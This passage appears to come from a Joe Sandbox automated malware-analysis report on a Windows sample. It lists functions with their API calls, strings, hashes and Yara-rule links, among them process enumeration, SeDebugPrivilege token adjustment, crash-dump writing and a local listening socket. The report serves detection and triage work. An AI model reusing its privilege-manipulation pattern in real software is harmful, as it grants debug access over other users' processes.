Instruction ID: d695574f4330ccb503b9121505bbc1850e9446592826f94646e43469e9bdd42a
Opcode Fuzzy Hash: 14618eda43c9671e68b8fd08d8422abacf40353be5bf252deb74d13aaf15f6c9
Instruction Fuzzy Hash: 85015E706012039BDB24AF34C85A3AA7AB2BBC1355F10812CA4818B290EF758D40CB65

Function 10007E76 Relevance: 1.5, APIs: 1, Instructions: 40fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(FA83E855,?,00000001,00000001,00000000,?,?,1000808D,?,00000404,00000001,00000000,?,00000000), ref: 10007E93

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: e7d503647b2602c65f330093808bd1a8c877245a2ba7fd444c54634443dd94a4
Instruction ID: 60dde942ee128e8b5e26815de62b9c1eeda109e52923c3b51a2d140b3793f235
Opcode Fuzzy Hash: e7d503647b2602c65f330093808bd1a8c877245a2ba7fd444c54634443dd94a4
Instruction Fuzzy Hash: 6001AD72A00249AFE720CE19CC40A8ABBFAFB94380F148429F849C6650D330FD558B50

Function 1000961C Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 10009623

Part of subcall function 1000BD08: _malloc.LIBCMT ref: 1000BD22

Part of subcall function 1000BD08: std::exception::exception.LIBCMT ref: 1000BD57
Part of subcall function 1000BD08: std::exception::exception.LIBCMT ref: 1000BD71
Part of subcall function 1000BD08: __CxxThrowException@8.LIBCMT ref: 1000BD82

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: std::exception::exception$Exception@8H_prolog3Throw_malloc
String ID:
API String ID: 2311266369-0
Opcode ID: 798ab431fcf6c30b07a15d25c3bea45351add4a6768e397aed1a5e0b6ce581e3
Instruction ID: 27f0851c2b2a3c9f21f6ca51572d52810aa293ac0cd731c366aa61cf9dad0c11
Opcode Fuzzy Hash: 798ab431fcf6c30b07a15d25c3bea45351add4a6768e397aed1a5e0b6ce581e3
Instruction Fuzzy Hash: 84F0BB759156219BFB11DFA0980275D79A0FF00BE0F528201FC945F2D9DF76DE409794

Function 0040DE00 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,00000006), ref: 0040DE18

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: fb2d69a0bd7a020fb47280c1843f21d7131e2cb85a0d31c312364452428a4122
Instruction ID: f5cd0bbd57078f271fb784681db4e8cb7893742734e3648512ee1e3932500a40
Opcode Fuzzy Hash: fb2d69a0bd7a020fb47280c1843f21d7131e2cb85a0d31c312364452428a4122
Instruction Fuzzy Hash: 78E08C3670002837D6101A8ABC019BBB76CCAC2ABAB00403BF949EA240E675A81652F1

Function 1000CFC4 Relevance: 1.5, APIs: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

__flsbuf.LIBCMT ref: 1000CFE5

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: __flsbuf
String ID:
API String ID: 2056685748-0
Opcode ID: b2abbf9e15346c5a683e1eb0b284856c540cceb5b9561b4a404859deff5ecdc1
Instruction ID: cd085754fea585c1a0c37b1266a5e6987fea52fd14f6493696e28795b49d8eb2
Opcode Fuzzy Hash: b2abbf9e15346c5a683e1eb0b284856c540cceb5b9561b4a404859deff5ecdc1
Instruction Fuzzy Hash: A3E09A3000034A8AEB108B20D001A367BA6DF01AA9F3086EEE585880EBC73A8447DA11

Function 1000AA9E Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1000BD22

Part of subcall function 1000B4CB: __FF_MSGBANNER.LIBCMT ref: 1000B4E4
Part of subcall function 1000B4CB: __NMSG_WRITE.LIBCMT ref: 1000B4EB
Part of subcall function 1000B4CB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B510

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 2048147662bf453ba28ede84f0b6aa2d186b29f79e00af96329dcc402269dd3d
Instruction ID: a6a3255abbbc7b23de097487aa0110c8e60a8e847636431691c925b7fdd1c164
Opcode Fuzzy Hash: 2048147662bf453ba28ede84f0b6aa2d186b29f79e00af96329dcc402269dd3d
Instruction Fuzzy Hash: E5C01225104A0D727660BD6E580A92ABE8DCBC15E4E750452ED145618BFD52E812A1D1

Function 1000BCAF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 1000BCBB

Part of subcall function 1000BB6F: __lock.LIBCMT ref: 1000BB7D

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: __lock_doexit
String ID:
API String ID: 368792745-0
Opcode ID: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction ID: 4fbdee38a6290eebd8f6056f661dc23ca866b053305f8b7d48e45ec78bfe802d
Opcode Fuzzy Hash: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction Fuzzy Hash: FDB0923258020C73EA201946AC03F163B0987C0AA0E240020BA0C2D1A5AAA2B9618089

Function 100078B1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 100078BA

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 4155536734e8379bf1a0d9e46d5e55f6b57c4bb927480cacbb9fba63a04539cd
Instruction ID: 2cd9351d4dfc93e9d47943277064b3f92f2890c0e3242ea62fae913676b3161e
Opcode Fuzzy Hash: 4155536734e8379bf1a0d9e46d5e55f6b57c4bb927480cacbb9fba63a04539cd
Instruction Fuzzy Hash: 12B0923204C34CBBAF055E81FC0289A3BA9EB40170B20401AFA18040616E33B4205648

Function 0053A5F7 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0053A606

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: DeleteObject
String ID:
API String ID: 1531683806-0
Opcode ID: d001c22539f3a6c22b27cffa3d4342250f635b76db201f74bd7546d7a7e5189c
Instruction ID: e7ab8058f96d9e082f81e297ae5c7e94aa700416bc84cc35b96cdea81974e626
Opcode Fuzzy Hash: d001c22539f3a6c22b27cffa3d4342250f635b76db201f74bd7546d7a7e5189c
Instruction Fuzzy Hash: FCB09270802102AADF00AB708A0E3263E547B9130AF059894A08081005EAB980829A01

Function 100078C3 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 100078C9

Part of subcall function 1000B491: RtlFreeHeap.NTDLL(00000000,00000000,?,1000B064,?,?,1000101C), ref: 1000B4A7
Part of subcall function 1000B491: GetLastError.KERNEL32(?,?,1000B064,?,?,1000101C), ref: 1000B4B9

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: 9c7efb68590269b2fc63797ccf94f6312e3d7331e264a762345e77b913906a88
Instruction ID: 64862a2d9b442625a5b0b759a32f449ecd248fb1dd9277ac75d4e02be58b0dbe
Opcode Fuzzy Hash: 9c7efb68590269b2fc63797ccf94f6312e3d7331e264a762345e77b913906a88
Instruction Fuzzy Hash: 40A0223200C30C3BAF002E82FC0380A3B8CCB000B0B20C022F80C080232E33BA200088

Non-executed Functions

Function 004107D9 Relevance: 100.7, APIs: 45, Strings: 12, Instructions: 912windowfileCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(?,00000000), ref: 004107F8
AppendMenuW.USER32(?,00000800,00000000,00000000), ref: 00410873
AppendMenuW.USER32(?,00000000,00000010,00000010), ref: 00410882
SendMessageW.USER32(?,00000080,00000001,?), ref: 004108C3
SendMessageW.USER32(?,00000080,00000000,?), ref: 004108D7
_memset.LIBCMT ref: 004108EF
_memset.LIBCMT ref: 0041090A
_memset.LIBCMT ref: 00410925
_memset.LIBCMT ref: 00410940
_memset.LIBCMT ref: 0041095B
_memset.LIBCMT ref: 00410976
_memset.LIBCMT ref: 004109C3
_memset.LIBCMT ref: 004109DE
_memset.LIBCMT ref: 004109F9
GetPrivateProfileStringW.KERNEL32(Default,Url,006FD638,?,00000200,?), ref: 00410A29
GetPrivateProfileStringW.KERNEL32(Default,006FD160,006FD638,?,00000200,?), ref: 00410A4D
GetPrivateProfileStringW.KERNEL32(Default,006FD174,006FD638,?,00000200,?), ref: 00410A71
GetPrivateProfileStringW.KERNEL32(Default,006FD178,006FD638,?,00000200,?), ref: 00410A95
GetPrivateProfileStringW.KERNEL32(Default,006FD17C,006FD638,?,00000200,?), ref: 00410AB9
GetPrivateProfileStringW.KERNEL32(Default,006FEA38,006FD638,?,00000200,?), ref: 00410ADD
GetPrivateProfileStringW.KERNEL32(Game,Client,006FD638,?,00000200,?), ref: 00410B01
GetPrivateProfileStringW.KERNEL32(Game,ParamFormat,HOST=%d PARAM1=%s,?,00000200,?), ref: 00410B25
GetPrivateProfileStringW.KERNEL32(AppendConfig,Append,006FD638,?,00000200,?), ref: 00410B49
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,?,00000000,?,?,?,?,?,?), ref: 00410C58
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000001,?), ref: 00410C68
GetPrivateProfileStringW.KERNEL32(Default,Url,006FD638,?,00000200,?), ref: 00410C90

Strings

LauncherShellExecuteGame, xrefs: 00410ECF
ParamFormat, xrefs: 00410B1B, 00410D82
AppendConfig, xrefs: 00410B44
Default, xrefs: 00410A24, 00410A48, 00410A6C, 00410A90, 00410AB4, 00410AD8, 00410C8B, 00410CAF, 00410CD3, 00410CF7, 00410D1B, 00410D3F
--feihuo, xrefs: 00410EF6
Append, xrefs: 00410B3F
Client, xrefs: 00410AF7, 00410D5E
Url, xrefs: 00410A1F, 00410C86
SetLayeredWindowAttributes, xrefs: 004113A4
User32.DLL, xrefs: 00411397
Game, xrefs: 00410AFC, 00410B20, 00410D63, 00410D87
HOST=%d PARAM1=%s, xrefs: 00410B16, 00410D7D

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: PrivateProfileString$_memset$Menu$AppendMessageSend$CloseCreateFileHandleSystem
String ID: --feihuo$Append$AppendConfig$Client$Default$Game$HOST=%d PARAM1=%s$LauncherShellExecuteGame$ParamFormat$SetLayeredWindowAttributes$Url$User32.DLL
API String ID: 3045574127-1323054628
Opcode ID: 93590102ca61661659adb8fba72ca27c59ca443194793713e0817189d5c73e16
Instruction ID: 4260995b1a6f5113922751a41fe8d6b2d855cf4499bde5764cabfc71aca86193
Opcode Fuzzy Hash: 93590102ca61661659adb8fba72ca27c59ca443194793713e0817189d5c73e16
Instruction Fuzzy Hash: 3F72D670A40209AFD714DB64CC46FEAB37ABF44314F048699F619A72D1DBB4AE84CF94

Function 036418EE Relevance: 48.3, APIs: 24, Strings: 3, Instructions: 1054COMMON

Download Yara Rule

APIs

Part of subcall function 03641776: GetCurrentProcess.KERNEL32(00000028,?), ref: 0364178C
Part of subcall function 03641776: OpenProcessToken.ADVAPI32(00000000), ref: 03641793

Part of subcall function 03641802: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03641825
Part of subcall function 03641802: _memset.LIBCMT ref: 0364183A
Part of subcall function 03641802: Process32FirstW.KERNEL32(00000000,?), ref: 03641854
Part of subcall function 03641802: CloseHandle.KERNEL32(00000000), ref: 0364188E

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 03641931
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 0364194B
CloseHandle.KERNEL32(?), ref: 03641958
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 0364198E
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 03641BD1
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 03641BEF
CloseHandle.KERNEL32(?), ref: 03641BFC
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 03641C35
GetLengthSid.ADVAPI32(?), ref: 03641E21
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 03641E34
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 03641E69
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 03641E87
CloseHandle.KERNEL32(?), ref: 03641E94
GetLengthSid.ADVAPI32(?), ref: 036420B9
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 036420CC
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 03642165
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 03641ECD

Part of subcall function 036418A4: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 036418DC

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 03642101
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 0364211F
CloseHandle.KERNEL32(?), ref: 0364212C
GetLengthSid.ADVAPI32(?), ref: 03642351
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 03642364

Strings

SeDebugPrivilege, xrefs: 03641919, 03641964, 036419AE, 03641BB2, 03641C0B, 03641C4D, 03641E4A, 03641EA3, 03641EE5, 036420E2, 0364213B, 0364217D
, xrefs: 03642347
, xrefs: 03641B78

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: Token$Process$Open$AdjustCloseHandlePrivileges$InformationLength$CreateCurrentFirstProcess32SnapshotToolhelp32_memset
String ID: $ $SeDebugPrivilege
API String ID: 2960649016-2587268233
Opcode ID: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction ID: cb7786526c9b47751bc118758fdd2b6d5f546ff27575984a49d954f5362a9a0c
Opcode Fuzzy Hash: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction Fuzzy Hash: CE720E76E0110DBFDF05DBA4DD80DEEB7BEAF49250B184026F515E7180DB34EA868B64

Function 100018EA Relevance: 48.3, APIs: 24, Strings: 3, Instructions: 1054COMMON

Download Yara Rule

APIs

Part of subcall function 10001772: GetCurrentProcess.KERNEL32(00000028,?), ref: 10001788
Part of subcall function 10001772: OpenProcessToken.ADVAPI32(00000000), ref: 1000178F

Part of subcall function 100017FE: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001821
Part of subcall function 100017FE: _memset.LIBCMT ref: 10001836
Part of subcall function 100017FE: Process32FirstW.KERNEL32(00000000,?), ref: 10001850
Part of subcall function 100017FE: CloseHandle.KERNEL32(00000000), ref: 1000188A

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 1000192D
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001947
CloseHandle.KERNEL32(?), ref: 10001954
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 1000198A
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001BCD
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001BEB
CloseHandle.KERNEL32(?), ref: 10001BF8
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 10001C31
GetLengthSid.ADVAPI32(?), ref: 10001E1D
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 10001E30
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001E65
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001E83
CloseHandle.KERNEL32(?), ref: 10001E90
GetLengthSid.ADVAPI32(?), ref: 100020B5
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 100020C8
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 10002161
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 10001EC9

Part of subcall function 100018A0: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 100018D8

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 100020FD
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 1000211B
CloseHandle.KERNEL32(?), ref: 10002128
GetLengthSid.ADVAPI32(?), ref: 1000234D
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 10002360

Strings

, xrefs: 10002343
, xrefs: 10001B74
SeDebugPrivilege, xrefs: 10001915, 10001960, 100019AA, 10001BAE, 10001C07, 10001C49, 10001E46, 10001E9F, 10001EE1, 100020DE, 10002137, 10002179

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: Token$Process$Open$AdjustCloseHandlePrivileges$InformationLength$CreateCurrentFirstProcess32SnapshotToolhelp32_memset
String ID: $ $SeDebugPrivilege
API String ID: 2960649016-2587268233
Opcode ID: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction ID: 4d650f447e6b2555350515b06da2e3085c12b1ca455cb5b9c8c7034ce516d686
Opcode Fuzzy Hash: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction Fuzzy Hash: B67228B6E0010EBBEB40DBA4DD80DEEB7FEEF48290B514026F505E7145DB34EA468B65

Function 004230A0 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 502filethreadCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004230F3
GetModuleFileNameW.KERNEL32(00000000,?,00000A28), ref: 00423108

Part of subcall function 00405520: std::_Xinvalid_argument.LIBCPMT ref: 00405539
Part of subcall function 00405520: std::_Xinvalid_argument.LIBCPMT ref: 0040555A
Part of subcall function 00405520: std::_Xinvalid_argument.LIBCPMT ref: 00405578
Part of subcall function 00405520: _memmove.LIBCMT ref: 004055EF

Part of subcall function 00404C10: std::_Xinvalid_argument.LIBCPMT ref: 00404C2A

Part of subcall function 00405630: std::_Xinvalid_argument.LIBCPMT ref: 00405696
Part of subcall function 00405630: std::_Xinvalid_argument.LIBCPMT ref: 004056B4
Part of subcall function 00405630: _memmove.LIBCMT ref: 00405710

GetCurrentProcess.KERNEL32(00000000,00000001,00000004,00000004), ref: 00423367
SymInitialize.DBGHELP(00000000), ref: 0042336E
SymSetOptions.DBGHELP(00000004), ref: 00423376
CreateFileW.KERNEL32(?,001F01FF,00000003,00000000,00000002,00000000,00000000), ref: 0042339A
GetCurrentThreadId.KERNEL32 ref: 004233A6
GetCurrentProcessId.KERNEL32 ref: 004233D3
GetCurrentProcess.KERNEL32(00000000), ref: 004233DA
MiniDumpWriteDump.DBGHELP(00000000), ref: 004233E1
CloseHandle.KERNEL32(00000000), ref: 004233E8
CreateFileW.KERNEL32(?,001F01FF,00000003,00000000,00000002,00000000,00000000), ref: 0042341C
_memset.LIBCMT ref: 004234EE
GetCurrentThread.KERNEL32 ref: 0042355B
GetCurrentProcess.KERNEL32(00000000,?,Stack:,00000008,?,?,?,?,?,?,?,?,?,00000000,000000FF,?), ref: 00423562
StackWalk.DBGHELP(0000014C,00000000,?,Stack:,00000008,?,?,?,?,?,?,?,?,?,00000000,000000FF), ref: 0042356E
GetCurrentThreadId.KERNEL32 ref: 004235EE
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,Stack:,00000008), ref: 00423640
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,Stack:,00000008), ref: 00423647

Part of subcall function 004239F0: _vswprintf_s.LIBCMT ref: 00423A01

Strings

Version:%dThreadID:%d%s%s%s, xrefs: 004235F7
ExceptionCode: %08X, xrefs: 00423435
0x%08X [UNKNOWN], xrefs: 0042357B
Stack:, xrefs: 004234B1
\, xrefs: 0042324B
.dmp, xrefs: 00423354
Register:EAX = %08X EBX = %08X ECX = %08X EDX = %08X ESI = %08XEDI = %08X CS:EIP = %08X:%08X SS:ESP = %08X:%08X EBP = %08X EFL = %08X, xrefs: 0042349C
.txt, xrefs: 0042333E

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Current$Xinvalid_argumentstd::_$FileProcess$Thread$CloseCreateDumpHandleWrite_memmove_memset$InitializeMiniModuleNameOptionsStackWalk_vswprintf_s
String ID: .dmp$.txt$0x%08X [UNKNOWN]$ExceptionCode: %08X$Register:EAX = %08X EBX = %08X ECX = %08X EDX = %08X ESI = %08XEDI = %08X CS:EIP = %08X:%08X SS:ESP = %08X:%08X EBP = %08X EFL = %08X$Stack:$Version:%dThreadID:%d%s%s%s$\
API String ID: 54164247-1109514319
Opcode ID: 59f8e66c929f971016c73f06a144d3e253b3ed5b74d68ad38f8afa825a161306
Instruction ID: bafe23864652bb294b4313159d71bdccdb10557af2fec6effddf2e28871845b8
Opcode Fuzzy Hash: 59f8e66c929f971016c73f06a144d3e253b3ed5b74d68ad38f8afa825a161306
Instruction Fuzzy Hash: 01226DB1E002289BDB24DF64DD89ADAB7B9FF48300F4045EAE509A7241DB786F84CF55

Function 00417CF0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 102networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000002,?), ref: 00417D86
htons.WS2_32(?), ref: 00417DC0
inet_addr.WS2_32(127.0.0.1), ref: 00417DCE
socket.WS2_32(00000002,00000001,00000000), ref: 00417DE0
bind.WS2_32(?,?,00000010), ref: 00417E08
WSAGetLastError.WS2_32 ref: 00417E1F
WSAAsyncSelect.WS2_32(?,?,000007EA,0000002B), ref: 00417E49
listen.WS2_32(?,00000005), ref: 00417E58

Strings

127.0.0.1, xrefs: 00417DC2
StartSocket..., xrefs: 00417D6C

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: AsyncErrorLastSelectStartupbindhtonsinet_addrlistensocket
String ID: 127.0.0.1$StartSocket...
API String ID: 3800711040-1162760937
Opcode ID: 90a2da92531660c50f7c2a97172e7af511809c7020e31ab3bc1c4674d8947ae0
Instruction ID: 258e4a67c202dd449cfd1b1360ce0c43d314572bd7a9a82ef3901eb94b91037a
Opcode Fuzzy Hash: 90a2da92531660c50f7c2a97172e7af511809c7020e31ab3bc1c4674d8947ae0
Instruction Fuzzy Hash: 8941D3B0644345ABE7249B70EC4ABE773E5FF18710F004A2DF55A862C1EF78A4448B5A

Function 005390CF Relevance: 16.6, APIs: 11, Instructions: 139COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 005390D6
FindResourceW.KERNEL32(?,?,00000005,00000024,004114B0), ref: 0053910C
LoadResource.KERNEL32(?,00000000), ref: 00539114

Part of subcall function 0053EC22: UnhookWindowsHookEx.USER32(?), ref: 0053EC52

LockResource.KERNEL32(?,00000024,004114B0), ref: 00539125
GetDesktopWindow.USER32 ref: 00539158
IsWindowEnabled.USER32(?), ref: 00539166
EnableWindow.USER32(?,00000000), ref: 00539175

Part of subcall function 0053B775: IsWindowEnabled.USER32(?), ref: 0053B77E

Part of subcall function 0053B790: EnableWindow.USER32(?,00000000), ref: 0053B7A1

EnableWindow.USER32(?,00000001), ref: 0053925A
GetActiveWindow.USER32 ref: 00539265
SetActiveWindow.USER32(?,?,00000024,004114B0), ref: 00539273
FreeResource.KERNEL32(?,?,00000024,004114B0), ref: 0053928F

Memory Dump Source

